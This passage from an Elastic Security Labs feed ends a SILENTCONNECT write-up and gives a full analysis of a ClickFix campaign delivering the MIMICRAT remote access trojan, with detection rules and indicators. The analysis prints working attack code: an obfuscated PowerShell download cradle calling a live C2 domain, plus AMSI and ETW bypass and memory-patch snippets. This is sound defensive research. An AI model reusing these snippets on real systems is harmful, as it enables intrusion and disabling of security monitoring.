<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li>
<li><a href="https://attack.mitre.org/techniques/T1219/002/">Remote Access Tools: Remote Desktop Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
</ul>
<h2><strong>Detecting SILENTCONNECT</strong></h2>
<ul>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_ingress_exe_transfer_via_curl.toml">Ingress Tool Transfer via CURL</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/command_and_control_webservice_lolbas.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/execution_suspicious_powershell_cmdline.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_defender_exclusion_via_wmi.toml">Windows Defender Exclusions via WMI</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_windows_powershell_susp_args.toml">Suspicious Windows Powershell Arguments</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/command_and_control_common_webservices.toml">Connection to Commonly Abused Web Services</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<pre><code>rule Windows_Trojan_SilentConnect_cdc03e84 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-03-04&quot;
        last_modified = &quot;2026-03-04&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.SilentConnect&quot;
        reference_sample = &quot;8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db&quot;
        license = &quot;Elastic License v2&quot;
    strings:
        $peb_evade = &quot;winhlp32.exe&quot; wide fullword
        $rev_elevation = &quot;wen!rotartsinimdA:noitavelE&quot; wide fullword
        $masquerade_peb_str = &quot;MasqueradePEB&quot; ascii fullword
        $guid = &quot;3E5FC7F9-9A51-4367-9063-A120244FBEC7&quot; wide fullword
        $unique_str = &quot;PebFucker&quot; ascii fullword
        $peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
        $rev_screenconnect = &quot;tcennoCneercS&quot; ascii wide
    condition:
        5 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3</code></td>
<td align="left">SHA-256</td>
<td align="left">E-INVITE.vbs</td>
<td align="left">VBScript</td>
</tr>
<tr>
<td align="left"><code>adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37</code></td>
<td align="left">SHA-256</td>
<td align="left">2025Trans.vbs</td>
<td align="left">VBScript</td>
</tr>
<tr>
<td align="left"><code>81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03</code></td>
<td align="left">SHA-256</td>
<td align="left">FileR.txt</td>
<td align="left">C#</td>
</tr>
<tr>
<td align="left"><code>c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7</code></td>
<td align="left">SHA-256</td>
<td align="left">ScreenConnect.ClientSetup.msi</td>
<td align="left">SCREENCONNECT Installer</td>
</tr>
<tr>
<td align="left"><code>8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">SILENTCONNECT</td>
</tr>
<tr>
<td align="left"><code>86.38.225[.]59</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ScreenConnect  C2 Server</td>
</tr>
<tr>
<td align="left"><code>bumptobabeco[.]top</code></td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">ScreenConnect C2 Server</td>
</tr>
<tr>
<td align="left"><code>instance-lh1907-relay.screenconnect[.]com</code></td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">ScreenConnect C2 Server</td>
</tr>
<tr>
<td align="left"><code>349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec</code></td>
<td align="left">SHA-256</td>
<td align="left">ViewDocs.exe</td>
<td align="left">Syncro Installer</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/silentconnect-delivers-screenconnect/silentconnect-delivers-screenconnect.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites]]></title>
            <link>https://www.elastic.co/jp/security-labs/mimicrat-custom-rat-mimics-c2-frameworks</link>
            <guid>mimicrat-custom-rat-mimics-c2-frameworks</guid>
            <pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovered a ClickFix campaign using compromised legitimate sites to deliver a five-stage chain ending in MIMICRAT, a custom native C RAT with malleable C2, token theft, and SOCKS5 tunneling.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified an active ClickFix campaign compromising multiple legitimate websites to deliver a multi-stage malware chain. Unlike simpler ClickFix deployments that terminate at commodity infostealers, this campaign ends with a capable custom remote access trojan (RAT)  we have called <strong>MIMICRAT:</strong> a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling, and a 22-command dispatch table.</p>
<p>The campaign demonstrates a high level of operational sophistication: compromised sites spanning multiple industries and geographies serve as delivery infrastructure, a multi-stage PowerShell chain performs ETW and AMSI bypass before dropping a Lua-scripted shellcode loader, and the final implant communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic.</p>
<h3>Key takeaways</h3>
<ul>
<li>Multiple legitimate websites were compromised to deliver a five-stage attack chain.</li>
<li>The Lua loader executes embedded shellcode.</li>
<li><strong>MIMICRAT</strong> is a bespoke native C++ RAT with malleable C2 profiles, Windows token theft, and SOCKS5 proxy.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs first identified this campaign in early February 2026 through endpoint telemetry flagging suspicious PowerShell execution with obfuscated command-line arguments.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image1.png" alt="Telemetry: Obfuscated powershell execution" /></p>
<p>Given the novelty of the final payload, <a href="https://x.com/soolidsnakee/status/2021601599894819142">we publicly disclosed initial indicators via social media</a> on February 11, 2026 to ensure the broader security community could begin hunting for and defending against this threat while our full analysis was underway. The campaign remains active as of this publication.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image7.png" alt="" /></p>
<p>Researchers at Huntress have <a href="https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis">documented</a> related ClickFix campaigns using similar infrastructure and techniques, indicating the breadth of this threat actor's operations across multiple parallel campaigns.</p>
<h3>Campaign Delivery</h3>
<p>The campaign's delivery relies entirely on compromising legitimate, trusted websites rather than attacker-owned infrastructure. The entry point for victims is bincheck[.]io, a legitimate Bank Identification Number (BIN) validation service. The threat actor compromised this site and injected a malicious JavaScript snippet that dynamically loads an external script hosted at <code>https://www.investonline[.]in/js/jq.php</code>, a second compromised site, a legitimate Indian mutual fund investment platform <strong>(Abchlor Investments Pvt. Ltd.)</strong>. The external script is named to impersonate the jQuery library, blending into the page's existing resource load.</p>
<p>It is this remotely loaded script (<code>jq.php</code>) that delivers the ClickFix lure: a fake Cloudflare verification page instructing the victim to manually paste and execute a command to &quot;fix&quot; a problem. The lure copies a malicious PowerShell command directly to the victim's clipboard and prompts them to open a Run dialog (<code>Win+R</code>) or PowerShell prompt and paste it. This technique bypasses browser-based download protections entirely, as no file is downloaded.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image8.png" alt="bincheck.io page source showing the injected script loading jq.php from investonline.in" /></p>
<p>This multidimensional compromise relies on a victim-facing website loading a malicious script from a second compromised website, distributes detection risk and increases the perceived legitimacy of the lure to both users and automated security tools. The campaign supports 17 languages, with the lure content dynamically localized based on the victim's browser language settings to broaden its effective reach. Identified victims span multiple geographies, including a USA-based university and multiple Chinese-speaking users documented in public forum discussions, suggesting broad opportunistic targeting.</p>
<p>The following is the list of supported languages by the ClickFix:</p>
<ul>
<li>English</li>
<li>Chinese</li>
<li>Russian</li>
<li>Spanish</li>
<li>French</li>
<li>German</li>
<li>Portuguese</li>
<li>Japanese</li>
<li>Korean</li>
<li>Italian</li>
<li>Turkish</li>
<li>Polish</li>
<li>Dutch</li>
<li>Vietnamese</li>
<li>Arabic</li>
<li>Hindi</li>
<li>Indonesian</li>
</ul>
<h2>Code analysis</h2>
<p>Once the victim executes the clipboard command, the campaign unfolds across five distinct stages: an obfuscated PowerShell downloader contacts the C2 to retrieve a second-stage script that patches Windows event logging(<a href="https://learn.microsoft.com/en-us/windows-hardware/test/wpt/event-tracing-for-windows">ETW</a>) and antivirus scanning(<a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>) before dropping a Lua-based loader; the loader decrypts and executes shellcode entirely in memory; and the shellcode ultimately delivers <strong>MIMICRAT</strong>, a capable RAT designed for persistent access and lateral movement.</p>
<h3>Stage 1 Powershell one liner command</h3>
<p>The clipboard-delivered command is a compact and obfuscated PowerShell one-liner:</p>
<pre><code class="language-c">powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
</code></pre>
<p>The command uses string slicing and arithmetic index operations on a single seed string (<code>aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf</code>) to reconstruct both the target domain and the invocation mechanism at runtime, avoiding any plaintext representation of the C2 domain or PowerShell cmdlet names in the initial payload. The window is minimized (<code>-WInDo Min</code>). The extracted domain is <code>xMRi.neTwOrk</code>, which resolves to <code>45.13.212.250</code>, and downloads a second-stage PowerShell script.</p>
<p>Infrastructure pivoting on <code>45.13.212.250</code> via VirusTotal relations revealed a second domain, <code>WexMrI.CC</code>, resolving to the same IP. Both domains share the same mixed-case formatting obfuscation pattern.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image5.png" alt="PowerShell deobfuscation in a debug session $HDjo resolves to WexMrI.CC" /></p>
<h3>Stage 2 Obfuscated Powershell script</h3>
<p>The downloaded second-stage PowerShell script is significantly more elaborated. All strings are constructed at runtime by resolving arithmetic expressions to ASCII characters:</p>
<pre><code class="language-c">$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: &quot;System.Diagnostics.Eventing.EventProvider&quot;
</code></pre>
<p>This technique renders the script opaque to static analysis and signature-based detection while remaining fully functional at runtime. A dummy class declaration is included as a decoy and<br />
the script executes four sequential operations:</p>
<h4>ETW Bypass</h4>
<p>The script accesses the internal <code>m_enabled</code> field of the <code>System.Diagnostics.Eventing.EventProvider</code> class via reflection and patches its value to <code>0</code>, effectively disabling Event Tracing for Windows and blinding PowerShell script block logging.</p>
<pre><code class="language-c">[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
</code></pre>
<h4>AMSI Bypass</h4>
<p>The script then uses reflection to access <code>System.Management.Automation.AmsiUtils</code> and sets the <code>amsiInitFailed</code> field to <code>$true</code>, causing PowerShell to skip all AMSI content scanning for the remainder of the session.</p>
<pre><code class="language-c">[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
</code></pre>
<h4>AMSI - Memory Patching</h4>
<p>The script performs runtime method handle patching via <code>Marshal.Copy</code> in an additional but less common defense evasion step overwriting method pointers in memory to redirect execution away from monitored code paths. This targets the function <code>ScanContent</code> under <code>System.Management.Automation.AmsiUtils</code> to an empty generate method.</p>
<pre><code class="language-c">$ScanContent_func = [Ref].Assembly.GetType(&quot;System.Management.Automation.AmsiUtils&quot;).GetMethods(&quot;NonPublic,Static&quot;) | Where-Object Name -eq &quot;ScanContent&quot;
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq &quot;FHVcGSwOEM&quot;

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

</code></pre>
<h4>Payload Delivery</h4>
<p>With event logging and AV scanning disabled, the script decodes a base64-encoded ZIP archive, extracts it to a randomly named directory under <code>%ProgramData%</code>/<code>knz_{random}</code>, and executes the contained binary <code>zbuild.exe</code>. Temporary artifacts are cleaned up post-execution.</p>
<pre><code class="language-c">$extractTo = Join-Path $env:ProgramData (&quot;knz_{0}&quot; -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
</code></pre>
<h3>Stage 3 Lua loader</h3>
<p>The dropped binary is a custom Lua 5.4.7 loader. It embeds a Lua interpreter statically.<br />
The binary decrypts an embedded Lua script using a XOR stub at runtime, then executes it. The XOR decryption routine (<code>fxh::utility::lua_script_xor_decrypt</code>) iterates over the encrypted buffer XORing each byte against a key.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image3.png" alt="XOR decryption routine in the Lua loader" /></p>
<p>The Lua script implements a custom Base64 decoder with a non-standard alphabet to decode an embedded shellcode. The decoded shellcode is then allocated in executable memory via <code>luaalloc</code>, copied into that memory with <code>luacpy</code>, and finally executed via <code>luaexe</code>, achieving fully in-memory, fileless shellcode execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image10.png" alt="Decrypted Lua script" /></p>
<h3>Stage 4 shellcode</h3>
<p>Shellcode matched Meterpreter-related signatures, suggesting the shellcode stage is a loader consistent with the Meterpreter code-family to reflectively load <strong>MIMICRAT</strong> into memory.</p>
<h3>Stage 5 MIMICRAT</h3>
<p>The final payload with compilation metadata set to <strong>January 29 2026</strong> is a native MSVC x64 PEcompiled with Microsoft Visual Studio linker version 14.44. It does not match any known open-source C2 framework exactly, implementing its own malleable HTTP C2 profiles with ASCII-character-based command dispatch and a custom architecture.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image6.png" alt="VirusTotal detection page" /></p>
<h4>C2 Configuration and communication</h4>
<p><strong>MIMICRAT</strong>'s configuration is stored in the <code>.data</code> section. It contains cryptographic keys, connection parameters, and two complete HTTP communication profiles. All header strings and URIs are hex-encoded ASCII, and decoded at runtime.</p>
<p>The C2 operates over HTTPS on port 443 with a 10-second callback interval. The C2 server hostname (<code>d15mawx0xveem1.cloudfront.net</code>) is RC4 encrypted with the following RC4 key <code>@z1@@9&amp;Yv6GR6vp#SyeG&amp;ZkY0X74%JXLJEv2Ci8&amp;J80AlVRJk&amp;6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5</code>.</p>
<p>The implant uses HTTPS for communication with a layered encryption scheme: an embedded RSA-1024 public key handles asymmetric session key exchange.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image4.png" alt="Importing rsa public key" /></p>
<p>While AES is used for symmetric encryption of C2 traffic it uses a hardcoded IV <code>abcdefghijklmnop</code> and a runtime calculated key which derived from a SHA-256 hash value of a randomly generated alpha-numeric value example <code>9ZQs0p0gfpOj3Y02.</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image2.png" alt="AES encryption" /></p>
<p>The following are the profile used by the sample for POST and GET requests:</p>
<h5>HTTP GET Profile: Check-in and Tasking</h5>
<table>
<thead>
<tr>
<th align="center">Component</th>
<th align="center">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">URI</td>
<td align="center"><code>/intake/organizations/events?channel=app</code></td>
</tr>
<tr>
<td align="center">User-Agent</td>
<td align="center"><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045</code></td>
</tr>
<tr>
<td align="center">Referer</td>
<td align="center"><code>[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)</code></td>
</tr>
<tr>
<td align="center">Accept-Language</td>
<td align="center"><code>zh-CN,zh;q=0.9</code></td>
</tr>
<tr>
<td align="center">Cookies</td>
<td align="center"><code>AFUAK</code>, <code>BLA</code>, <code>HFK</code></td>
</tr>
</tbody>
</table>
<h5>HTTP POST Profile: Data Exfiltration</h5>
<table>
<thead>
<tr>
<th>Component</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>URI</td>
<td><code>/discover/pcversion/metrics?clientver=ds</code></td>
</tr>
<tr>
<td>Referer</td>
<td><code>[https://gsov.google.com/](https://gsov.google.com/)</code></td>
</tr>
<tr>
<td>Cookies</td>
<td><code>ARCHUID</code>, <code>BRCHD</code>, <code>ZRCHUSR</code></td>
</tr>
</tbody>
</table>
<h4>Command Dispatch</h4>
<p><strong>MIMICRAT implements</strong> a total of 22 distinct commands to provide post-exploitation capabilities like process and file system control, interactive shell access, token manipulation, shellcode injection, and SOCKS proxy tunneling. The beacon interval and jitter are operator-configurable at runtime via dedicated commands. The following is a summarized table of all the implemented commands:</p>
<table>
<thead>
<tr>
<th>Cmd ID</th>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Exit</td>
<td>Terminates the implant process</td>
</tr>
<tr>
<td>4</td>
<td>Set beacon interval</td>
<td>Configures sleep duration and jitter</td>
</tr>
<tr>
<td>5</td>
<td>Change directory</td>
<td>Changes the current working directory</td>
</tr>
<tr>
<td>10</td>
<td>Write file</td>
<td>Writes a C2-supplied payload to disk (overwrite)</td>
</tr>
<tr>
<td>11</td>
<td>Read file</td>
<td>Reads a file from disk and exfiltrates contents to C2</td>
</tr>
<tr>
<td>12</td>
<td>Spawn process</td>
<td>Launches a process using a stolen token if available, falling back to standard execution</td>
</tr>
<tr>
<td>28</td>
<td>Revert impersonation</td>
<td>Reverts token impersonation and clears token state</td>
</tr>
<tr>
<td>31</td>
<td>Steal token</td>
<td>Duplicates the security token of a target process by PID</td>
</tr>
<tr>
<td>32</td>
<td>List processes</td>
<td>Enumerates running processes with PID, PPID, user, domain, and architecture</td>
</tr>
<tr>
<td>33</td>
<td>Kill process</td>
<td>Terminates a process by PID</td>
</tr>
<tr>
<td>39</td>
<td>Get current directory</td>
<td>Returns the current working directory to C2</td>
</tr>
<tr>
<td>53</td>
<td>List files</td>
<td>Lists files and directories with timestamps and sizes</td>
</tr>
<tr>
<td>54</td>
<td>Create directory</td>
<td>Creates a directory on disk</td>
</tr>
<tr>
<td>55</td>
<td>List drives</td>
<td>Enumerates logical drives</td>
</tr>
<tr>
<td>56</td>
<td>Delete file/directory</td>
<td>Deletes a file or removes a directory</td>
</tr>
<tr>
<td>67</td>
<td>Append to file</td>
<td>Appends C2-supplied data to an existing file</td>
</tr>
<tr>
<td>73</td>
<td>Copy file</td>
<td>Copies a file from source to destination</td>
</tr>
<tr>
<td>74</td>
<td>Move/rename file</td>
<td>Moves or renames a file</td>
</tr>
<tr>
<td>78</td>
<td>Interactive shell</td>
<td>Opens a persistent interactive CMD shell over a pipe</td>
</tr>
<tr>
<td>100</td>
<td>Inject shellcode</td>
<td>Reflective shellcode injection</td>
</tr>
<tr>
<td>101</td>
<td>SOCKS</td>
<td>Configures SOCKS proxy channel or stop it</td>
</tr>
<tr>
<td>102</td>
<td>SOCKS proxy</td>
<td>Shares handler with command 101; Most likely a placeholder command</td>
</tr>
</tbody>
</table>
<h3>Infrastructure</h3>
<p>The campaign's network infrastructure clusters into two primary groups:</p>
<h3>Cluster A — Initial Payload Delivery (<code>45.13.212.251</code> / <code>45.13.212.250</code>)</h3>
<p>Multiple domains point to this IP range, including <code>xMRi.neTwOrk</code> and <code>WexMrI.CC</code>. Domain naming uses mixed-case obfuscation. This infrastructure serves the second-stage PowerShell script and the embedded payload ZIP.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image9.png" alt="VirusTotal relations for 45.13.212.251 showing multiple campaign domains resolving to this IP" /></p>
<h3>Cluster B  Post-Exploitation C2 (<code>23.227.202.114</code>)</h3>
<p>Associated with <code>www.ndibstersoft[.]com</code> and observed in beacon communications from the dropped file. This represents the operator's post-exploitation C2 channel.</p>
<p><strong>CloudFront C2 Relay</strong><br />
<code>d15mawx0xveem1.cloudfront[.]net</code> is confirmed as part of <strong>MIMICRAT</strong>'s C2 infrastructure. VT relations for the <code>rgen.zip</code> sample show it contacting this CloudFront domain using the same <code>/intake/organizations/events?channel=app</code> URI pattern identified in <strong>MIMICRAT</strong>'s GET profile, confirming it acts as a C2 relay fronting for the backend server.</p>
<p><strong>Delivery Infrastructure</strong></p>
<p>Two compromised legitimate websites form the delivery chain:</p>
<ul>
<li><code>bincheck.io</code> — victim-facing entry point; compromised to load the external malicious script</li>
<li><code>investonline.in</code> — hosts the ClickFix JavaScript payload (<code>/js/jq.php</code>) disguised as jQuery; this script renders the lure and delivers the clipboard PowerShell</li>
</ul>
<h2>Malware and MITRE ATT&amp;CK**</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service (ClickFix clipboard)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/010/">Obfuscated Files or Information: Command Obfuscation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools (AMSI bypass)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/002/">Impair Defenses: Disable Windows Event Logging (ETW patch)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading / In-Memory Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/001/">Access Token Manipulation: Token Impersonation/Theft</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols (HTTPS)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_via_obfuscated_powershell_script.toml">Execution via Obfuscated PowerShell Script</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Token theft and impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the MimicRat:</p>
<pre><code>rule Windows_Trojan_MimicRat {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-02-13&quot;
        last_modified = &quot;2026-02-13&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;MimicRat&quot;
        threat_name = &quot;Windows.Trojan.MimicRat&quot;
        reference_sample = &quot;a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b&quot;
        scan_type = &quot;File, Memory&quot;
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1</code></td>
<td>SHA-256</td>
<td></td>
<td>Stage 1 PowerShell payload</td>
</tr>
<tr>
<td><code>5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51</code></td>
<td>SHA-256</td>
<td></td>
<td>Lua loader</td>
</tr>
<tr>
<td><code>a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b</code></td>
<td>SHA-256</td>
<td></td>
<td>MIMICRAT beacon</td>
</tr>
<tr>
<td><code>055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb</code></td>
<td>SHA-256</td>
<td></td>
<td>Related beacon sample</td>
</tr>
<tr>
<td><code>45.13.212.251</code></td>
<td>IP</td>
<td></td>
<td>Payload delivery infrastructure</td>
</tr>
<tr>
<td><code>45.13.212.250</code></td>
<td>IP</td>
<td></td>
<td>Payload delivery infrastructure</td>
</tr>
<tr>
<td><code>23.227.202.114</code></td>
<td>IP</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>xmri.network</code></td>
<td>Domain</td>
<td></td>
<td>Stage 1 C2 / payload delivery</td>
</tr>
<tr>
<td><code>wexmri.cc</code></td>
<td>Domain</td>
<td></td>
<td>Stage 1 C2 alternate</td>
</tr>
<tr>
<td><code>www.ndibstersoft[.]com</code></td>
<td>Domain</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>d15mawx0xveem1.cloudfront[.]net</code></td>
<td>Domain</td>
<td></td>
<td>Post-exploitation C2</td>
</tr>
<tr>
<td><code>www.investonline.in/js/jq.php</code></td>
<td>URL</td>
<td></td>
<td>Malicious JS payload host (compromised)</td>
</tr>
<tr>
<td><code>backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip</code></td>
<td>URL</td>
<td></td>
<td>Payload delivery</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/photo-edited-01.png" length="0" type="image/png"/>
        </item>
        <item>
